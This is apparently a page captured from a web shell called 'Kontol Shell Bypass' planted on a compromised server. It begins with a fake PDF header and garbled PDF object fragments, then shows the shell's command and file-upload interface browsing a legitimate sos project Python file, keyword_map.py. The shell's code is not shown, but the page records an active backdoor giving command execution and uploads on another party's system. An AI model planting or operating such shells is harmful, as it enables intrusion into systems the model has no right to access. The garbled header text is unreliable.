%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/lib/python3/dist-packages/sos/cleaner/mappings/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/lib/python3/dist-packages/sos/cleaner/mappings/keyword_map.py
# Copyright 2020 Red Hat, Inc. Jake Hunsaker <jhunsake@redhat.com>

# This file is part of the sos project: https://github.com/sosreport/sos
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions of
# version 2 of the GNU General Public License.
#
# See the LICENSE file in the source distribution for further information.

from sos.cleaner.mappings import SoSMap


class SoSKeywordMap(SoSMap):
    """Mapping store for user provided keywords

    By default, this map will perform no matching or obfuscation. It relies
    entirely on the use of the --keywords option by the user.

    Any keywords provided are then obfuscated into 'obfuscatedwordX', where X
    is an incrementing integer.
    """

    word_count = 0

    def sanitize_item(self, item):
        _ob_item = "obfuscatedword%s" % self.word_count
        self.word_count += 1
        if _ob_item in self.dataset.values():
            return self.sanitize_item(item)
        return _ob_item

Kontol Shell Bypass